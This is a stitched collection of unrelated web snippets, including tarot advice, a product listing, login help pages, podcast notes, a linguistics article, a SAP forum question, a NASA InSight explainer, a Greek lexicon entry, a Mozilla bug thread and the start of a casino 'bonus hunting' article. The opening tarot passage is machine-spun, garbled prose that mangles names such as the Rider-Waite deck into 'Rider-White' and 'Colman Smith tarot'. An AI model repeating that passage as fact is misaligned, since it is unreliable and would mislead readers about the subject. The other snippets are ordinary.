Horseshoe, Star and Astrological Year Ahead - plus, a mini-layout to attempt for each of the 22 major cards.The type of irrationality and belief-led approaches that Jonathan Steele's painstaking account depicts have significantly in common with a book by an additional contributor to the Guardian, Francis Wheen. In How Mumbo-Jumbo conquered the globe: A Short History of Modern day Delusions , published in 2004, Wheen charts the widespread retreat in modern politics and culture from the hard-won achievements of the Age of Enlightenment. In a series of amusing, however chilling accounts, Wheen describes how superstition and an appeal to the occult have dominated the decision-generating processes of trans-Atlantic policy-makers given that the era of Reagan and Thatcher.Over 60 seasoned tarot readers supply their best guidance for what each and every Newbie Tarot Reader need to know. Study the messages on every card. You might want to absorb or pass on the precise wording that the creator of the cards has written for every card, or you could want to place your own interpretation into the meaning, based on how confident you are. Please trust your intuition when reading your messages, your very first instincts will invariably be the right ones. If the Reading is for a person else, ask them to do the exact same - trust their instincts when absorbing the messages you are passing to them.Either is fine. When you initial commence studying, it is critical to stick with the program of your decision. Chopping and altering will confuse you, so if you do pick to go with the upside down cards, my leading tip is to persist until they start generating sense to you.Query readings address a distinct question or problem region. When going in for one particular, attempt to hold your questions as open to choices as feasible, be focused, stay neutral and be optimistic that you will locate your answers. Yet another a single employed in tarot card reading is the Colman Smith tarot. This is an updated interpretation of the Rider-White deck and the images are psychedelic in colors.My very first recalled instance of racism took location at about 3 years old, when I was told that, when I grew up, I could in no way be stunning since I would be too dark. This notion spread out to that, due to my paternal heritage, I would be flat-out ugly.Prior to I get on the phone with a client to do a psychic reading, I ask my intuition which oracle card deck or decks I may use toward the end of the session. I have about 30 decks, and I locate that the deck I am guided to use with each client tells me some thing about the client's personality or what they are struggling with. When buying decks, use your intuition and decide on ones you feel specifically drawn to. Collecting decks more than time pays off, as you'll discover that various decks will call to you depending upon your existing mood and situations or those of the particular person you are reading for.
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National Voter Registration Day at the Iowa City Public Library
Start: September 25, 201810:00 AM
End: September 25, 2018 4:00 PM
Hi event host,
Use this area to describe your event to potential volunteers.
Where: [Provide Address]
What: [Describe What Volunteers Will Be Doing]
When: [Provide Volunteers With Time and Date]
Why: [Explain Why This Event is Taking Place and Why Volunteers Should Attend]
Good luck,
-The team
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Air Legends Premium Brush - Air Legends
Air Legends Premium Brush
$6.00 $12.00
Air Legends is proud to bring to you our Premium Brushes!
• Hog Hair Bristles
• Concave (curved) sides for easy grip
• Available in 2 styles:
• Light Bristles, meant for Dry Cleaning your Sneakers
• Dark Bristles, meant for Wet Cleaning with our Premium Cleaner
The Dry Brush is used to clean Dust, Dirt, and other Debris from the Shoe before using the liquid cleaner. You want to make sure there is minimal Dirt on the shoe before the liquid is applied so that it isn't rubbed into the Shoe. It is also very effective for removing hairs, small lint fibers and other debris from Hats or just a general dusting-off of the Shoes.
The Wet Brush is used only with the Liquid Cleaner. You don't want to use the same brush you used to remove the Dust, Dirt, etc. because that would put it right back on to the shoe. So you only use the Wet Brush with the Cleaner so the Brush itself is clean before use!
Once you are done, rinse each brush out with clean Water, let Air Dry and you're good to go for the next round!
Related products
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Welcome to Alpha Builder
Screen Shot 2017-12-06 at 10.57.50.png
If you have an existing Alpha that’s running, we wanted to quickly show you how to access your Alpha materials and how to sign up for an Alpha Builder account.
1. Go to: http://run.alpha.org.uk. You’ll be presented with a form asking for your email address.
IMPORTANT: Please use the email address that you used to login for your Alpha. If it’s the correct email for your existing Alpha, it’ll add the account and then send a verifcation email to that email address to confirm your account. Just click that link in the email, and then you’ll be able to set a password and login.
2. After you have successfully registered, you’ll arrive at your Dashboard. Click on the name of your Alpha, or any of the buttons beside it to access your Alpha Homepage.
3. On your Alpha Homepage, you’ll see the details associated with your Alpha, and tab links for “Plan” (your interactive scheduling tool), “Promote” (view/download your promo materials), “Team” (recruiting/training your team), “Materials” (download your talks, training and supporting tools). You can also edit the details for your Alpha here (changing your location, start time and associated organization).
Choose “Materials” to access your Material links.
4. Now you’re on the Materials page. You can access the 720p and 1080p versions of all of your materials and training here.
Now you can download your materials! Take a look around Alpha Builder, and be sure to watch our new Alpha Leader Training in the Training Centre on Alpha Builder.
Email us at [email protected] if you have any questions or visit our new help desk over on Alpha Builder!
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I Should Start a Podcast
Packaged with Care
An episode of I Should Start a Podcast
By Anchor
It’s a great time to start podcasting. It’s never been easier to record, publish, and distribute a podcast that everyone can listen to. But it can still be tricky to get started and make your show sound as good as possible. John Lagomarsino from the Anchor production team is here to help!
Available on 13 platforms
What is a podcast, anyway?
So say you upload your latest podcast episode, give it a title, and publish it. Your listeners get that episode automatically on their phones, in all sorts of apps, on all sorts of devices, all over the world. How? Why? What kind of magic happens when you hit that publish button? What is a podcast, even? Music by Brendon Bigley - boqeh.bandcamp.com
May 23, 2018
Your Podcasting Questions, Answered
This week, we're changing things up and answering your questions in a special Q&A episode. Music by Brendon Bigley - boqeh.bandcamp.com
May 7, 2018
Getting the Word Out
After you’ve published an episode or two, and you’ve really got your rhythm down, you’ll probably want to start thinking about how to really find your audience, and grow your podcast. We’re talking about marketing. Today, we talk to Anchor’s marketing team about how to get the word out about your show. Music by Brendon Bigley - boqeh.bandcamp.com
April 30, 2018
Packaged with Care
You’ve got your show recorded, you’ve spent hours putting the finishing touches on it, and it’s time to sit back and enjoy the fame, fortune, and critical acclaim that your podcast deserves. But wait! You’ve forgotten the sexiest part: metadata and SEO. Today, we’re talking about packaging your show to give it the best chance for success. Thanks to The Europeans - https://anchor.fm/the-europeans Music by Brendon Bigley - boqeh.bandcamp.com
April 23, 2018
We explore the other voices on your show: cohosts, guests, and how to approach an interview. Plus, we hear some conversations from around Anchor.
April 16, 2018
Show Structure
On today's show, we talk about how to structure your show and come up with a great format. Podcasts on this episode: The Outline World Dispatch - https://anchor.fm/outline Subnet - https://anchor.fm/relayfm Guests: Stephen Hackett - https://www.relay.fm James T. Green - https://theoutline.com/podcasts Music by Brendon Bigley - https://boqeh.bandcamp.com
April 9, 2018
Recording and Microphones
You've got the idea, and now it's time to record it. What mic should you use? Will your phone sound good enough? What does "cardioid" mean? We talk about these questions and more on today's episode. Podcasts in this episode: Ask A Manager - https://anchor.fm/askamanager The Derry Connection - https://anchor.fm/derry-connection Music in this episode: Brendon Bigley - https://boqeh.bandcamp.com Microphone reviews in this episode: https://youtu.be/ml8i_KWyKvU https://youtu.be/-3rbPaJgTWA
April 5, 2018
What's your podcast about?
It’s pretty simple to record a podcast and get it distributed really quickly. But the part that can be the trickiest is just getting started, and having an idea of what your podcast actually is. So that's what we're talking about today. Podcasts on today's show: Let Me Google That - https://anchor.fm/letmegooglethat The Derry Connection - https://anchor.fm/derry-connection No Script At All - https://anchor.fm/nsaa Music in this episode by Brendon Bigley. Find his music at https://boqeh.bandcamp.com
March 26, 2018
Make your own podcast for free with Anchor!
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global_01_local_1_shard_00001926_processed.jsonl/27058
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• Bridging the languages
Don’t talk, listen
Speaking a language fluently is a task that requires a lot of effort. Understanding one is easier, though, and that might be something we can put to good use in the future.
How well do you understand a language that’s from the same family as your own? For instance, Swedish for a Norwegian and German for a Dutchman. Associate Professor of Linguistics Charlotte Gooskens and three of her PhD students want to find out. Their research might change the way languages are taught, according to Stefanie Voigt, the PhD student who is researching Romance languages.‘Imagine a Dutch and German company trying to doing business’, says Femke Swarte, the PhD student researching Germanic languages. ‘The people representing the Dutch company might be able to express themselves almost perfectly in German, but they are not fully aware of the subtleties of the German language. Therefore, they might come across as quite rude to the Germans without being aware of it and so might jeopardize the chance of doing business with them. This is why most people speak English in these circumstances.’
Mother tongue
‘Where’s the problem, say people in the border regions of Denmark and Sweden’
Most Dutch people are able to understand a little German and French, but most communication with German and French people will be held in English. Where French used to be the lingua franca in most of Europe, now English is the language to fall back on when your knowledge of a foreign language is insufficient. However, most non-native speakers will never be able to express themselves in the same way as in their mother tongue.
So where’s the problem, say people in the border regions of Denmark and Sweden. Danish and Swedish are pretty similar, so Danish is easily understandable for a Swede and vice versa. A conversation between the two is therefore held in two different languages. Both speakers express themselves freely while still being able to understand what is said by the other and everybody is happy.
Mutual understanding
However, is it possible that this method could also work for other countries and languages? That is the main question being researched by Gooskens’ team. ‘There are a lot of languages in Europe, which is important, but we also need to be able to communicate in them, so how can we improve on that? In order to research this mutual understanding, I was awarded a €1 million grant by NWO, which has enabled me to hire three PhD students and two postdocs.’
The PhD students took the three largest European language families (Germanic, Romance and Slavic), explains Jelena Golubovic, the Serbian researching the Slavic languages. ‘Within these families we’re researching a total of 16 languages and we’re trying to find how well, for example, someone from Poland can understand a Bulgarian or a Czech.’
‘We have been collecting data for two years now’, continues Voigt. ‘We do this by asking people fill in a web application. It’s a sort of game. The person playing the game gets a language from the same family and has to either fill in missing words in a text, understand a text and point out what it was about, or translate given words into his or her own language. From that data we hope to be able to extract a score.’
50 Danish words
‘Even though I don’t speak Danish, I could still understand parts of it’
Martin Kroon, a linguistics student, took the test. ‘I first had to fill in my estimated level of proficiency in the four other Germanic languages. After that I was ask. It’s funny to see that even though I don’t speak Danish, I could still understand parts of it. For me as a linguistics student it’s also really interesting.’
Gooskens points out that there is still a lot of data to be collected. ‘For each language combination we need at least 1,500 results, but preferably about 10 times more than that. Right now we have about 30,000 participants, mainly from the Netherlands and Denmark, but we still need a lot more, especially from smaller countries, like Portugal, which are hard to reach, so we need every possible bit of interest.’
Basic knowledge
That is interest they hope to receive from international staff and students at the University of Groningen. It’s not often you find so many different nationalities together.
‘In the end we hope to extract results that point out to what degree other languages can be understood and what factors contribute to that understanding, such as education level, age and residence’, says Swarte.
Voigt continues: ‘That way we can tell if it’s better to just speak your own language, instead of learning to speak another one. We are already using it here. I speak German to Femke and she responds in Dutch. It works pretty well if you have a basic knowledge of the other language. This research might just change our way of teaching linguistics.’
Want to try it out? Play the game on www.micrela.nl/app
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Skip to Content
soap fault: [ISS.0088.9166] Binder not found for soapAction = null
I am trying to consume this webservice: via PI 7.1
When I try to run my RFC, I get this error:
<SAP:P1 />
<SAP:P2 />
<SAP:P3 />
<SAP:P4 />
<SAP:AdditionalText> SOAP: response message contains an error XIAdapter/PARSING/ADAPTER.SOAP_EXCEPTION - soap fault: Binder not found for soapAction = null</SAP:AdditionalText>
<SAP:ApplicationFaultMessage namespace="" />
<SAP:Stack />
This error I see on response method.
where I am doing wrong ?
Thanks in advance.
Rodolfo Miã
Former Member
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global_01_local_1_shard_00001926_processed.jsonl/27075
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NASA’s InSight mission!
InSight stands for Interior Exploration using Seismic Investigations Seismic meaning it’ll be measuring mars quakes. InSight will have a 5 meter probe that will go into the surface of Mars to take multiple measurements of its interior. Now keep in mind InSight is a lander not a rover it won’t be traveling once it lands. Whereas a rover is normally exploring the surface going to multiple locations on Mars like the Curiosity rover that launched in 2011. InSight will be the first mission to peer deep into Mars interior.
It’ll be analyzing geophysical data and scientists hope that it will answer questions about the formation, the evolution and the composition of Mars and other rocky bodies and our solar system. It’ll be landing at Elysian Planitia which is a low-lying plain just north or be equator on Mars. This is the perfect area for InSight because it is solar powered!! And this area offers maximum sun exposure and has a smooth penetrable surface! Once it has landed scientists here on Earth will peer through InSight’s cameras to observe the surroundings of where the lander had landed. And once all is clear and ready to go InSight will begin to settle into its new home. It will deploy it’s hardware, extend out it’s twins solar arrays and prepare itself for a two-year job.
InSight has a robotic arm with a five finger grapple which will be controlled by engineers here on Earth, and will be used to deploy it’s equipment. Payload systems engineer Farrah Alibay said something that was pretty funny to me she says “have you ever played the claw game at arcades? That essentially is what we’re doing but million miles away.” There is actually a simulation lab for the engineers to practice controlling the robotic arms, it’s located at JPL’s In-Situ instrument lab in Pasadena, California. Once the InSight team will be successfully operate the arm to deploy InSight’s instruments, it will be known as the first time that a robotic arm has been used to set down hardware on another planet!!
Credit copyright: NASA JPL
There are two main instruments on insight the first one is called Seismic Experiment for Interior Structure also known as SEIS, and it contains an array of seismometers which are used for measuring the size, speed and frequency of Seismic waves produced by the shifting and cracking of the Martian interior, also known as Mars quakes!! Similarly to the seismometers used to measure earthquakes. It can measure ground movement smaller than the width of a hydrogen atom!! That’s really really tiny!! Tom Hoffman says “ if there happened to be a butterfly on Mars and it landed very lightly on the Seismometer, we’d actually be able to detect that.” The difference between the seismometers on Earth versus the ones that will be on Mars is that the ones on Earth normally need to be delicately handled, place down gently and never touched again. Where the seismometers on Mars are a lot stronger. With the rumble from the rocket launch to the vibrations, the atmospheric entry, the descent and landing, these seismometers were built to survive.
They will also be facing the extreme temperature changes on Mars, it’ll be located nearby the equator on Mars, which in the Sun during the summer will be around 70°F but can reach as low as -100°F at night! Thankfully the InSight engineers were able to make it under many layers of protection.
This seismometer can also can detect liquid water, meteorite impacts and
plumes from active volcanoes. Now, the second instrument that InSight will have is the heat flow and physical properties probe, also known as HP3. It’s a 18 inch probe that will dig about 16 feet into the Mars soil. The reason it’s digging this deep? Because at that depth it will be unaffected by the temperature changes on the martian surface! By the way, this digging will take weeks.. with frequent pauses to measure how effectively the surroundings conduct heat.
It will do this by using temperature sensors moving along with the probe during this dig and InSight will be able to gather the temperature readings and conductivity measurements and tell scientists just how much heat is emitting from the inside of Mars or how much heat as lacking and this will lead researchers to deriving ideas of what exactly the planet is made of and how its composition compares to Earth’s.
If we are going to colonize Mars one day we gotta know as much as we can before we get there !
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global_01_local_1_shard_00001926_processed.jsonl/27109
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Strong's Greek: 2089. ἔτι (eti) -- still, yet
2089. eti
Strong's Concordance
eti: still, yet
Original Word: ἔτι
Part of Speech: Adverb
Transliteration: eti
Phonetic Spelling: (et'-ee)
Definition: still, yet
Usage: (a) of time: still, yet, even now, (b) of degree: even, further, more, in addition.
HELPS Word-studies
2089 éti (an adverb) – properly, continue (remain).
NAS Exhaustive Concordance
Word Origin
a prim. adverb
still, yet
NASB Translation
after (1), any longer (7), anymore (4), besides (1), further (4), longer (15), more (6), moreover* (1), still (43), yes (2), yet (8).
Thayer's Greek Lexicon
STRONGS NT 2089: ἔτι
ἔτι, adverb, as yet, yet, still;
1. of time;
a. of a thing which went on formerly, whereas now a different state of things exists or has begun to exist: added to a participle, Matthew 27:63; Luke 24:6, 44; Acts 9:1; Acts 18:18; 2 Thessalonians 2:5; with the gen absolute: ἔτι (δέ) αὐτοῦ λαλοῦντος, Matthew 12:46; Matthew 17:5; Matthew 26:47; Mark 14:43; Luke 8:49; Luke 22:47; add, Luke 9:42; Luke 24:41; John 20:1; Acts 10:44; Romans 5:8; Hebrews 9:8; with a finite verb, Hebrews 7:10; transposed so as to stand at the beginning of a sentence: ἔτι γάρ Χριστός ὄντων ἡμῶν ἀσθενῶν ... ἀπέθανε, Romans 5:6; cf. Winers Grammar, § 61, 5, p. 553 (515); (Buttmann, 389 (333)); with another notation of time, so that it may be translated even (cf. Latinjam): ἔτι ἐκ κοιλίας μητρός, Luke 1:15 (ἔτι ἐκ βρεφεος, Anthol. 9, 567, 1; ἔτι ἀπ' ἀρχῆς, Plutarch, consol. ad Apoll. 6, p. 104 d.).
b. of a thing which continues at present, even now: Mark 8:17 R G; Luke 14:22; Galatians 1:10; 1 Corinthians 15:17; with νῦν added, 1 Corinthians 3:2 (L WH brackets ἔτι); farther, longer (where it is thought strange that, when one thing has established itself, another has not been altered or abolished, but is still adhered to or continues): Romans 3:7; Romans 6:2; Romans 9:19; Galatians 5:11.
c. with negatives: οὐ ... ἔτι, οὐκ ἔτι, no longer, no more, Luke 16:2; Luke 20:36; Luke 21:1, 4; Luke 22:3; ἵνα μή ἔτι lest longer, that ... no more, Revelation 20:3; οὐ μή ἔτι, Revelation 3:12; Revelation 18:21-23; οὐδείς, μηδείς, οὐδεμία, οὐδέν ἔτι, nobody, nothing more, Matthew 5:13; Hebrews 10:2 (see μηκέτι, οὐκέτι).
2. of degree and increase; with the comparative, even, yet: Philippians 1:9; Hebrews 7:15 (Winers Grammar, 240 (225)). of what remains (yet): John 4:35; John 7:33; John 12:35; John 13:33; Matthew 19:20; Mark 12:6; Luke 18:22; of what is added, besides, more, further: ἔτι ἅπαξ, Hebrews 12:26f; ἔτι ἕνα δύο, Matthew 18:16; add, Matthew 26:65; Hebrews 11:32; ἔτι δέ yea moreover, and further (Latinpraetereavero), Hebrews 11:36 (Xenophon, mem. 1, 2, 1; Diodorus 1, 74; cf. Grimm on 2 Macc. 6:4); ἔτι δέ καί (but or) yea moreover also (Latinpraetereaveroetiam), Luke 14:26 R G T L marginal reading; Acts 2:26; ἔτι τέ καί and moreover too (Latininsuperqueadeo), Luke 14:26 L text Tr WH; Acts 21:28 (cf. Buttmann, § 149, 8; Winers Grammar, 578 (537) note).
Strong's Exhaustive Concordance
still, yet, even
Perhaps akin to etos; "yet," still (of time or degree) -- after that, also, ever, (any) further, (t-)henceforth (more), hereafter, (any) longer, (any) more(-one), now, still, yet.
see GREEK etos
Forms and Transliterations
επ' επί ετι έτι ἔτι ότι eti éti
Interlinear GreekInterlinear HebrewStrong's NumbersEnglishman's Greek ConcordanceEnglishman's Hebrew ConcordanceParallel Texts
Englishman's Concordance
Matthew 5:13 Adv
GRK: οὐδὲν ἰσχύει ἔτι εἰ μὴ
NAS: [again]? It is no longer good
KJV: shall it be salted? it is thenceforth good
INT: nothing it is potent any longer if not
Matthew 12:46 Adv
GRK: Ἔτι αὐτοῦ λαλοῦντος
NAS: While He was still speaking
KJV: While he yet
INT: But while yet he was speaking
Matthew 17:5 Adv
GRK: ἔτι αὐτοῦ λαλοῦντος
NAS: While he was still speaking, a bright
KJV: While he yet spake, behold,
INT: While yet he was speaking
Matthew 18:16 Adv
GRK: μετὰ σοῦ ἔτι ἕνα ἢ
NAS: two more with you, so
KJV: or two more, that in
INT: with you more one or
Matthew 19:20 Adv
GRK: ἐφύλαξα τί ἔτι ὑστερῶ
NAS: what am I still lacking?
KJV: what lack I yet?
INT: I have kept what yet lack I
Matthew 26:47 Adv
GRK: Καὶ ἔτι αὐτοῦ λαλοῦντος
NAS: While He was still speaking, behold,
KJV: while he yet spake, lo,
INT: And yet of him as he is speaking
Matthew 26:65 Adv
GRK: Ἐβλασφήμησεν τί ἔτι χρείαν ἔχομεν
NAS: What further need
KJV: what further need
INT: He has blasphemed why any more need have we
Matthew 27:63 Adv
GRK: πλάνος εἶπεν ἔτι ζῶν Μετὰ
NAS: we remember that when He was still alive
KJV: said, while he was yet alive,
INT: deceiver said while living After
Mark 5:35 Adv
GRK: Ἔτι αὐτοῦ λαλοῦντος
NAS: While He was still speaking, they came
KJV: While he yet spake, there came
INT: [While] yet of him he is speaking
Mark 5:35 Adv
GRK: ἀπέθανεν τί ἔτι σκύλλεις τὸν
NAS: trouble the Teacher anymore?
KJV: troublest thou the Master any further?
INT: is dead why still trouble you the
Mark 12:6 Adv
GRK: ἔτι ἕνα εἶχεν
NAS: one more [to send], a beloved
KJV: Having yet therefore one
INT: Yet one having
Mark 14:43 Adv
GRK: Καὶ εὐθὺς ἔτι αὐτοῦ λαλοῦντος
NAS: Immediately while He was still speaking,
KJV: while he yet spake,
INT: And immediately yet of him as he is speaking
Mark 14:63 Adv
GRK: λέγει Τί ἔτι χρείαν ἔχομεν
NAS: said, What further need do we have
KJV: need we any further witnesses?
INT: says What any more need have we
Luke 1:15 Adv
GRK: ἁγίου πλησθήσεται ἔτι ἐκ κοιλίας
NAS: Spirit while yet in his mother's
KJV: with the Holy Ghost, even from his
INT: holy he will be filled even from [the] womb
Luke 8:49 Adv
GRK: Ἔτι αὐτοῦ λαλοῦντος
NAS: While He was still speaking, someone
KJV: While he yet spake, there cometh
INT: still of him As yet was speaking
Luke 9:42 Adv
GRK: ἔτι δὲ προσερχομένου
NAS: While he was still approaching,
KJV: as he was yet a coming, the devil
INT: while moreover he was coming near
Luke 14:22 Adv
GRK: ἐπέταξας καὶ ἔτι τόπος ἐστίν
NAS: has been done, and still there is room.'
KJV: and yet there is
INT: you did command and still room there is
Luke 14:26 Adv
GRK: τὰς ἀδελφάς ἔτι τε καὶ
NAS: and sisters, yes, and even
KJV: and sisters, yea, and his own
INT: the sisters yes and also
Luke 14:32 Adv
GRK: δὲ μή¦γε ἔτι αὐτοῦ πόρρω
NAS: while the other is still far away,
KJV: is yet a great way off,
INT: moreover not still of him far off
Luke 15:20 Adv
GRK: πατέρα ἑαυτοῦ ἔτι δὲ αὐτοῦ
NAS: to his father. But while he was still a long way
KJV: But when he was yet a great way off,
INT: father of himself still moreover he
Luke 16:2 Adv
GRK: γὰρ δύνῃ ἔτι οἰκονομεῖν
NAS: for you can no longer be manager.'
KJV: thou mayest be no longer steward.
INT: indeed you are able any longer be manager
Luke 18:22 Adv
GRK: εἶπεν αὐτῷ Ἔτι ἕν σοι
NAS: to him, One thing you still lack;
KJV: he said unto him, Yet lackest thou
INT: said to him Yet one thing to you
Luke 20:36 Adv
GRK: γὰρ ἀποθανεῖν ἔτι δύνανται ἰσάγγελοι
NAS: die anymore, because
KJV: can they die any more: for they are
INT: indeed die any more they can angels
Luke 22:47 Adv
GRK: Ἔτι αὐτοῦ λαλοῦντος
NAS: While He was still speaking, behold,
KJV: And while he yet spake, behold
INT: And yet of him as he was speaking
Luke 22:60 Adv
GRK: καὶ παραχρῆμα ἔτι λαλοῦντος αὐτοῦ
NAS: about. Immediately, while he was still speaking,
KJV: while he yet spake,
INT: And immediately while he was speaking of him
Strong's Greek 2089
93 Occurrences
ἔτι — 93 Occ.
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global_01_local_1_shard_00001926_processed.jsonl/27120
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Better Practice Articles
For a typical music school, 80 percent of students are youths. This means families are involved. Families are invested (in their child's growth but also... financially). They are the ones who pick up, drop off, sit through lessons, figure out the assignments and make sure their kids practice during … Read More
Why do we as humans spend so much time listening to music? A recent study by Edison revealed that Americans spend an average of 13 years of their life listening to music. Music is everywhere - you’ll hear it in every store, car, event, or elevator. You’ll hear music in the commercials that segue int… Read More
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global_01_local_1_shard_00001926_processed.jsonl/27127
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28 Sep 2017 by Luca Filigheddu
Earn more with digital magazine advertising
Over the past few years, digital advertising has become rather lucrative, particularly for those in the magazine industry. However, it is a field where there is always room for improvement so let’s take a quick look at how you could earn more with digital magazine advertising.
Read More
Posted in advertising, earn with digital publications
03 Nov 2016 by Krista McLandress
Using Facebook advertising to promote your digital magazine
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Posted in advertising, app install ads, facebook, Growth
23 Mar 2016 by Krista McLandress
5 ways to sell digital magazine subscriptions
Digital magazines - whether on the web or mobile - are growing in popularity with both readers and publishers. This year digital is set to account for 11% of total circulation revenue, giving many publishers the positive sign they need to put more resources behind their digital offerings. Meanwhile, some publications are ceasing print production entirely, moving quickly towards a digital-only ...
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Posted in advertising, email, Growth, magazine sales, paywall, subscription
08 Mar 2016 by Guest Post
How YouTube can boost mobile user acquisition
By 2018, it has been predicted that two-thirds of the global traffic will be video content and Youtube is playing a huge role in video content growth. There are currently over 1 billion users on YouTube who watch over 6 billion videos monthly and what’s even more impressive is that the total number of hours watched is growing 50% year over year.
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Posted in advertising, app install, CPI, Growth, user acquisition, youtube
Get updates
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global_01_local_1_shard_00001926_processed.jsonl/27145
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Ep. 860 President Trump is Holding All the Cards
In this episode I address the growing levels of panic among the international players in the scheme to take down the Trump team. I also address the unbelievable costs of illegal immigration and the backdoor efforts of the anti Second Amendment crowd to take away your gun Rights.
News Picks:
Ep. 861 Don’t Believe The Michael Cohen Media Hype
Ep. 859 What Are They Hiding?
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global_01_local_1_shard_00001926_processed.jsonl/27152
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What is the Kitchen Triangle and How Does it Work?
What is the Kitchen Triangle and How Does it Work?
The typical kitchen is rectangular or square in shape with the cabinetry and other installed appliances lined up against the walls, having a clear space in the center. In the Island design, there is a workstation in the center of the kitchen. Whatever the shape and layout of the kitchen, the work ‘triangle’ is the biggest factor in its functionality.
This is how the National Kitchen and Bath Association defines the work triangle. This is a straight line as would be drawn from the center of the sink to the center of the cooktop, onwards to the center of the refrigerator and back to the center of the sink, forming a three sided triangle. The layout and design of this triangle has a huge impact on the efficiency of the kitchen.
As such, the NKBA has given guidelines on designing a triangle that promotes maximum efficiency in the kitchen:
• The perimeter of the triangle (all the 3 sides added up) should not exceed 26 feet. Each side should be between 4 feet and 9 feet.
• The work triangle should not go through the island or peninsula and where it does, should not exceed 12 inches.
• For a kitchen with only 1 sink, this sink should be between or across from the cooking surface, preparation area, or refrigerator.
• The triangle should not be cut by any major traffic pattern in the kitchen
This designing for efficiency means that all major workstations are near the cook while giving him or her ample space to work. This design also ensures that the cook is not interrupted by people crossing paths. The triangle is applicable in almost any regularly shaped kitchen with a sink, refrigerator and a cooktop even in U-shaped kitchens.
There are some limitations with the work triangle. For one, it assumes that only 1 person will be in the kitchen. Second, it assumes that there are only three workstations in every kitchen. While this is mostly true in small households, this changes in large dwellings and commercial kitchens.
It is not uncommon to find family members sharing kitchen duties, or some working while others idle around socializing. Kitchens have also become larger to accommodate different styles like the large kitchen style or large U-shape style kitchens.
While one cannot ignore the triangle when designing a small kitchen, designers say that it is advisable to consider the total picture rather than confining the design to the demands of the triangle. It shouldn’t be forced on the design. Different principles of ergonomics can be applied where the triangle is not applicable.
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global_01_local_1_shard_00001926_processed.jsonl/27157
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Logging in to Astra
Your Astra username and password are the same as your University network credentials you use to login to the NNU network every morning. When you change your university password, Astra picks up the change from Active Directory. In some cases, it may take up to an hour for Astra to pick up the change.
When you're successfully logged in your username should appear at the very upper right corner of the Astra window. If you instead see "guest," your login failed, you won't have full access to the system, and you may not be able to request events like you normally do.
If you're having problems logging in, check the following things, in this order:
1.) Double-check you're entering your username correctly. Also check your caps lock key.
2.) Open Notepad and type your password in it to make sure you don't have any "dead" keys on your keyboard.
3.) Close all open windows of the browser you use for Astra, open it up, and try again.
4.) Wait 30 minutes (or go to lunch), and try again.
5.) If none of this works, email, and we'll reset the account as soon as we can.
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global_01_local_1_shard_00001926_processed.jsonl/27167
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Links regarding becoming a contributor should be removed - or renamed & revised - for registered contributors
2 years ago
2 years ago
(Reporter: John99, Assigned: guigs)
(Whiteboard: [1st2weeks])
(3 attachments)
Created attachment 8838974 [details]
03-The target audience *Registered users* get *access denied* and no option to be a contributor
There are links in various places asking if you want to be a contributor. These waste space and are superfluous once registered as a contributor so should be removed. They almost certainly do not work as intended.
Alternatively if these are to be used as a method of someone changing status or gaining an additional privilege they should be renamed for existing contributors, ideally whilst looking at the privileges already in use.
For instance on the support contributors forum page is a particularly bad example
> Mozilla > Mozilla Support - English > Forums
> Contributor Forums
Text at top of screen:
> Welcome to the Support Questions, Interested in becoming a contributor - > Request to be a Contributor
Note that if you are not signed in at all you get a page including a message telling you that you need to be a contributor but NOT offering the link for you to register as a contributor. (It does correctly offer links to sign in or to register. screenshot 2 attached)
>You must be signed in to access this part of the community.
A none contributor *registered* user trying to access that page.
Someone who may know that page link, and may hope and wish to register as a contributor gets an access denied page and no link to become a contributor. screenshot 3 attached.
So in addition addition to the stated title of this bug maybe it would be beneficial for registered user to get more appropriate information.
I am aware that there are similar links and other pages involved.
I am also aware that there are differing methods of trying to gain registration including Google forms and mailto links. This should surely be rationalised over the new Lithium Sumo site to be appropriate to the credentials of the person viewing it, and probably it would be good to not rely on Mailto links and google forms as exclusive methods of registering.
Initial related Sumo forum thread is
> Request to be a contributor - remove link once registered
These bugs do not default to having any owner QA contact or cc list. It is probably inappropriate to cc Lithium or use Whiteboard so will cc some of Sumo staff.
Also I intended to attach 3 screenshots only one attached I will attach the other two separately
Created attachment 8838976 [details]
01-Exisrting contributor invir=ted to be a contributor
Created attachment 8838977 [details]
02-not signed in - ok
Comment 4
2 years ago
I'm assigning this to Rachel as she will be looking at the onboarding piece.
Rachel, please update this bug once you've figured out the user flows.
Assignee: nobody → rmcguigan
Whiteboard: [1st2weeks]
2 years ago
Ever confirmed: true
Component: Lithium Migration → Ask a Question Workflow
Product: → - Lithium
This was my fault for updating the wrong place - trello instead of here. John you can access the current user flows with this document:
I would love your feedback on it, as I am sure there are pros and cons for both users and contributors.
Flags: needinfo?(John99-bugs)
Thanks for the link, I can open that doc but have not yet had time to study it.
I will leave the NI as a reminder for me to look at the document.
What is the current position on the Read Only Lithium site is it worth me looking at what happens on that or is it better tyo wait until we move back to Lithium. Also if Lithium changes are being made do contributors get access to the Lithium stage eqivalent so we can test things out before they go live. And the ability once there to test as users with differing permisions/roles i.e. as our own site moderator role, but also as an ordinary contributor, and an ordinary visitor ?
I guess the document is still in early stages. I have made some comments on it.
Adding NI Rachel.
What is the latest on
1.) This bug.
2.) Access to Lithium & Lithium pre release.
Flags: needinfo?(John99-bugs) → needinfo?(rmcguigan)
Thanks for the comments in the document John. Wait until we move platforms. I am marking this as a duplicate of the Onboarding Experience meta bug.
Flags: needinfo?(rmcguigan)
Last Resolved: 2 years ago
Resolution: --- → DUPLICATE
Duplicate of bug: 1365078
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global_01_local_1_shard_00001926_processed.jsonl/27175
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Cait Finley
I am an artist, my current body of work is called the Dark New Wild. The Dark New Wild centres around a fantasied future ecology and examines the inextricable relationship of the human psyche and landscape.
I utilize sculpture, performance, video, installation, and storytelling to escape the repetitive discourses around the harsh ecological realities of our time. With this project, I reimagine how collective ideas of 'ecosystem' might evolve. Believing that radically open thought is now a human obligation.
With my work I often act in different roles; of maker, scientist, archivist, explorer, and necromancer to pervert and activate the aesthetics of science while presenting new dimensions, fictions, and the chaos in our systems.
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global_01_local_1_shard_00001926_processed.jsonl/27189
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Bonus Hunting – The Abusing of bonuses offered by online casinos
Bonus hunting, bonus whoring, casino whoring, bonus abusing. All of these terms describe the activity of players who try to make money in the long run by using bonuses offered by online casinos. And many of them were and are still successful, although this practise is getting harder and harder to pull off as time goes by.
Are you curious how casino bonus hunting works and whether you can use it to make money in online casinos in today’s environment? You’re in the right place to find that out.
Keep reading this article and learn:
• Why used bonus hunting to be such an easy way to make money in casinos in the past?
• What changed and make it much harder to use in real life?
• How to overcome the limitations and use bonus hunting successfully even today?
• What’s the best bet size to use when playing with bonus money? With computer simulations.
• And most importantly… Can you do it, too?
Bonus hunting in the past
